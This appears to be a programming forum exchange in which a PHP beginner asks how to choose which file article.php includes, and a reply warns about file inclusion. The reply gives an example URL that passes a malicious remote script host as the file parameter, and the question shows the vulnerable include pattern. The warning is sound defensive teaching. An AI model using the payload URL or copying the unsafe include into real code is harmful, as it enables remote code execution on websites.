I'm sure that I use a wrong way but it's my first attempt to use php. The next code doesn't work. The variable $file is defined locally but I don't know how to use a global variable.
articles.php In this file I have a list :
<ol>
<li><a <?php $file="a.php"; ?> href="article.php" > title 1 </a> </li>
<li><a <?php $file="b.php"; ?> href="article.php" > title 2 </a> </li>
</ol>
article.php in this file I want to use this
<?php include("articles/$file"); ?>
How to define correctly $file ?
Is there a better way to load a.php and b.php ?
http://example.com?file=http://malicioussite.com/attack_script.phpand poof... you're executing a script of the attacker's choice. Thearticles/portion is a MINOR defense, but still allows an attacker to load up and display ANY file on your system that they know the full path for.